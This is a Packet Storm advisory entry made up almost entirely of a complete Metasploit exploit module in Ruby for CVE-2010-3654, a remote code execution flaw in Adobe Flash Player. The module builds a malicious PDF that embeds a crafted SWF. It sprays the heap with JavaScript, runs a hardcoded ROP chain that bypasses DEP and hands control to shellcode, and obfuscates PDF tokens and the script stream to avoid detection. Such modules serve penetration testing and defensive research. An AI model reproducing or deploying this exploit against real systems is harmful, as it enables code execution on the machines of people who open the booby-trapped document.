Adobe Flash Player "Button" Remote Code Execution

2010-11-03T00:00:00
ID PACKETSTORM:95444
Type packetstorm
Reporter Haifei Li
Modified 2010-11-03T00:00:00

Description

                                        
                                            `##  
# $Id: adobe_flashplayer_button.rb 10857 2010-11-01 22:34:13Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
require 'zlib'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::FILEFORMAT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Adobe Flash Player "Button" Remote Code Execution',  
'Description' => %q{  
This module exploits a vulnerability in the handling of certain SWF movies  
within versions 9.x and 10.0 of Adobe Flash Player. Adobe Reader and Acrobat  
are also vulnerable, as are any other applications that may embed Flash player.  
  
Arbitrary code execution is achieved by embedding a specially crafted Flash  
movie into a PDF document. An AcroJS heap spray is used in order to ensure  
that the memory used by the invalid pointer issue is controlled.  
  
NOTE: This module uses a similar DEP bypass method to that used within the  
adobe_libtiff module. This method is unlikely to work across various  
Windows versions due a the hardcoded syscall number.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Unknown', # Found being openly exploited  
'Haifei Li', # PoC  
'jduck' # Metasploit version  
],  
'Version' => '$Revision: 10857 $',  
'References' =>  
[  
['CVE', '2010-3654'],  
['OSVDB', '68932'],  
['BID', '44504'],  
['URL', 'http://www.adobe.com/support/security/advisories/apsa10-05.html'],  
['URL', 'http://blog.fortinet.com/fuzz-my-life-flash-player-zero-day-vulnerability-cve-2010-3654/'], #PoC  
# For SWF->PDF embedding  
['URL', 'http://feliam.wordpress.com/2010/02/11/flash-on-a-pdf-with-minipdf-py/']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f',  
'DisablePayloadHandler' => 'true',  
},  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00",  
'DisableNops' => true  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# Tested OK via Adobe Reader 9.4.0 on Windows XP SP3 (uses flash 10.1.85.3) -jjd  
[ 'Automatic', { }],  
],  
'DisclosureDate' => 'Oct 28 2010',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),  
], self.class)  
end  
  
def exploit  
swf_data = make_swf()  
js_data = make_js(payload.encoded)  
  
# Create the pdf  
pdf = make_pdf(swf_data, js_data)  
  
print_status("Creating '#{datastore['FILENAME']}' file...")  
  
file_create(pdf)  
end  
  
def make_swf  
# load the static swf file  
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2010-3654.swf" )  
fd = File.open( path, "rb" )  
swf_data = fd.read(fd.stat.size)  
fd.close  
swf_data  
end  
  
def make_js(encoded_payload)  
  
# The following executes a ret2lib using BIB.dll  
# The effect is to bypass DEP and execute the shellcode in an indirect way  
stack_data = [  
0xc0c0c0c,  
0x7002fe1, # mov edx,[esi+0x18] / test edx,edx / je +0x12 / mov eax,[esi+0xc] / mov ecx,[esi+4] / push eax / push ecx / push esi / call edx  
0xcccccccc,  
0xcccccccc,  
0xc0c0c0c + 0x10,  
0x7004919, # pop ecx / pop ecx / mov [eax+0xc0],1 / pop esi / pop ebx / ret  
0xcccccccc,  
0x70048ef, # xchg eax,esp / ret  
0x700156f, # mov eax,[ecx+0x34] / push [ecx+0x24] / call [eax+8]  
0xcccccccc,  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009033, # ret 0x18  
0x7009084, # ret  
0xc0c0c0c,  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7009084, # ret  
0x7001599, # pop ebp / ret  
0x10124,  
0x70072f7, # pop eax / ret  
0x10104,  
0x70015bb, # pop ecx / ret  
0x1000,  
0x700154d, # mov [eax], ecx / ret  
0x70015bb, # pop ecx / ret  
0x7ffe0300, # -- location of KiFastSystemCall  
0x7007fb2, # mov eax, [ecx] / ret  
0x70015bb, # pop ecx / ret  
0x10011,  
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret  
0x70015bb, # pop ecx / ret  
0x10100,  
0x700a8ac, # mov [ecx], eax / xor eax,eax / ret  
0x70072f7, # pop eax / ret  
0x10011,  
0x70052e2, # call [eax] / ret -- (KiFastSystemCall - VirtualAlloc?)  
0x7005c54, # pop esi / add esp,0x14 / ret  
0xffffffff,  
0x10100,  
0x0,  
0x10104,  
0x1000,  
0x40,  
# The next bit effectively copies data from the interleaved stack to the memory  
# pointed to by eax  
# The data copied is:  
# \x5a\x90\x54\x90\x5a\xeb\x15\x58\x8b\x1a\x89\x18\x83\xc0\x04\x83  
# \xc2\x04\x81\xfb\x0c\x0c\x0c\x0c\x75\xee\xeb\x05\xe8\xe6\xff\xff  
# \xff\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xff\xff\xff\x90  
0x700d731, # mov eax, [ebp-0x24] / ret  
0x70015bb, # pop ecx / ret  
0x9054905a,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x5815eb5a,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x18891a8b,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x8304c083,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0xfb8104c2,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0xc0c0c0c,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x5ebee75,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0xffffe6e8,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x909090ff,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x90909090,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x90909090,  
0x700154d, # mov [eax], ecx / ret  
0x700a722, # add eax, 4 / ret  
0x70015bb, # pop ecx / ret  
0x90ffffff,  
0x700154d, # mov [eax], ecx / ret  
0x700d731, # mov eax, [ebp-0x24] / ret  
0x700112f # call eax -- (execute stub to transition to full shellcode)  
].pack('V*')  
  
var_unescape = rand_text_alpha(rand(100) + 1)  
var_shellcode = rand_text_alpha(rand(100) + 1)  
  
var_start = rand_text_alpha(rand(100) + 1)  
  
var_s = 0x10000  
var_c = rand_text_alpha(rand(100) + 1)  
var_b = rand_text_alpha(rand(100) + 1)  
var_d = rand_text_alpha(rand(100) + 1)  
var_3 = rand_text_alpha(rand(100) + 1)  
var_i = rand_text_alpha(rand(100) + 1)  
var_4 = rand_text_alpha(rand(100) + 1)  
  
payload_buf = ''  
payload_buf << stack_data  
payload_buf << encoded_payload  
  
escaped_payload = Rex::Text.to_unescape(payload_buf)  
  
js = %Q|  
var #{var_unescape} = unescape;  
var #{var_shellcode} = #{var_unescape}( '#{escaped_payload}' );  
var #{var_c} = #{var_unescape}( "%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c" );  
while (#{var_c}.length + 20 + 8 < #{var_s}) #{var_c}+=#{var_c};  
#{var_b} = #{var_c}.substring(0, (0x0c0c-0x24)/2);  
#{var_b} += #{var_shellcode};  
#{var_b} += #{var_c};  
#{var_d} = #{var_b}.substring(0, #{var_s}/2);  
while(#{var_d}.length < 0x80000) #{var_d} += #{var_d};  
#{var_3} = #{var_d}.substring(0, 0x80000 - (0x1020-0x08) / 2);  
var #{var_4} = new Array();  
for (#{var_i}=0;#{var_i}<0x1f0;#{var_i}++) #{var_4}[#{var_i}]=#{var_3}+"s";  
|  
  
js  
end  
  
def RandomNonASCIIString(count)  
result = ""  
count.times do  
result << (rand(128) + 128).chr  
end  
result  
end  
  
def ioDef(id)  
"%d 0 obj\n" % id  
end  
  
def ioRef(id)  
"%d 0 R" % id  
end  
  
  
#http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/  
def nObfu(str)  
result = ""  
str.scan(/./u) do |c|  
if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'  
result << "#%x" % c.unpack("C*")[0]  
else  
result << c  
end  
end  
result  
end  
  
  
def ASCIIHexWhitespaceEncode(str)  
result = ""  
whitespace = ""  
str.each_byte do |b|  
result << whitespace << "%02x" % b  
whitespace = " " * (rand(3) + 1)  
end  
result << ">"  
end  
  
  
def make_pdf(swf, js)  
  
swf_name = rand_text_alpha(8 + rand(8)) + ".swf"  
  
xref = []  
eol = "\n"  
endobj = "endobj" << eol  
  
# Randomize PDF version?  
pdf = "%PDF-1.5" << eol  
#pdf << "%" << RandomNonASCIIString(4) << eol  
  
# catalog  
xref << pdf.length  
pdf << ioDef(1) << nObfu("<</Type/Catalog")  
pdf << nObfu("/Pages ") << ioRef(3)  
pdf << nObfu("/OpenAction ") << ioRef(5)  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# pages array  
xref << pdf.length  
pdf << ioDef(3) << nObfu("<</Type/Pages/Count 1/Kids [") << ioRef(4) << nObfu("]>>") << eol << endobj  
  
# page 1  
xref << pdf.length  
pdf << ioDef(4) << nObfu("<</Type/Page/Parent ") << ioRef(3)  
pdf << nObfu("/Annots [") << ioRef(7) << nObfu("] ")  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# js action  
xref << pdf.length  
pdf << ioDef(5) << nObfu("<</Type/Action/S/JavaScript/JS ") + ioRef(6) + ">>" << eol << endobj  
  
# js stream  
xref << pdf.length  
compressed = Zlib::Deflate.deflate(ASCIIHexWhitespaceEncode(js))  
pdf << ioDef(6) << nObfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol  
pdf << "stream" << eol  
pdf << compressed << eol  
pdf << "endstream" << eol  
pdf << endobj  
  
# swf annotation object  
xref << pdf.length  
pdf << ioDef(7) << nObfu("<</Type/Annot/Subtype/RichMedia")  
pdf << nObfu("/Rect [20 20 187 69] ")  
pdf << nObfu("/RichMediaSettings ") << ioRef(8)  
pdf << nObfu("/RichMediaContent ") << ioRef(9)  
pdf << nObfu("/NM (") << swf_name << nObfu(")")  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# rich media settings  
xref << pdf.length  
pdf << ioDef(8)  
pdf << nObfu("<</Type/RichMediaSettings/Subtype/Flash")  
pdf << nObfu("/Activation ") << ioRef(10)  
pdf << nObfu("/Deactivation ") << ioRef(11)  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# rich media content  
xref << pdf.length  
pdf << ioDef(9)  
pdf << nObfu("<</Type/RichMediaContent")  
pdf << nObfu("/Assets ") << ioRef(12)  
pdf << nObfu("/Configurations [") << ioRef(14) << "]"  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# rich media activation / deactivation  
xref << pdf.length  
pdf << ioDef(10)  
pdf << nObfu("<</Type/RichMediaActivation/Condition/PO>>")  
pdf << eol << endobj  
  
xref << pdf.length  
pdf << ioDef(11)  
pdf << nObfu("<</Type/RichMediaDeactivation/Condition/XD>>")  
pdf << eol << endobj  
  
# rich media assets  
xref << pdf.length  
pdf << ioDef(12)  
pdf << nObfu("<</Names [(#{swf_name}) ") << ioRef(13) << nObfu("]>>")  
pdf << eol << endobj  
  
# swf embeded file ref  
xref << pdf.length  
pdf << ioDef(13)  
pdf << nObfu("<</Type/Filespec /EF <</F ") << ioRef(16) << nObfu(">> /F(#{swf_name})>>")  
pdf << eol << endobj  
  
# rich media configuration  
xref << pdf.length  
pdf << ioDef(14)  
pdf << nObfu("<</Type/RichMediaConfiguration/Subtype/Flash")  
pdf << nObfu("/Instances [") << ioRef(15) << nObfu("]>>")  
pdf << eol << endobj  
  
# rich media isntance  
xref << pdf.length  
pdf << ioDef(15)  
pdf << nObfu("<</Type/RichMediaInstance/Subtype/Flash")  
pdf << nObfu("/Asset ") << ioRef(13)  
pdf << nObfu(">>")  
pdf << eol << endobj  
  
# swf stream  
# NOTE: This data is already compressed, no need to compress it again...  
xref << pdf.length  
pdf << ioDef(16) << nObfu("<</Type/EmbeddedFile/Length %s>>" % swf.length) << eol  
pdf << "stream" << eol  
pdf << swf << eol  
pdf << "endstream" << eol  
pdf << endobj  
  
# trailing stuff  
xrefPosition = pdf.length  
pdf << "xref" << eol  
pdf << "0 %d" % (xref.length + 1) << eol  
pdf << "0000000000 65535 f" << eol  
xref.each do |index|  
pdf << "%010d 00000 n" % index << eol  
end  
  
pdf << "trailer" << eol  
pdf << nObfu("<</Size %d/Root " % (xref.length + 1)) << ioRef(1) << ">>" << eol  
  
pdf << "startxref" << eol  
pdf << xrefPosition.to_s() << eol  
  
pdf << "%%EOF" << eol  
pdf  
end  
  
end  
`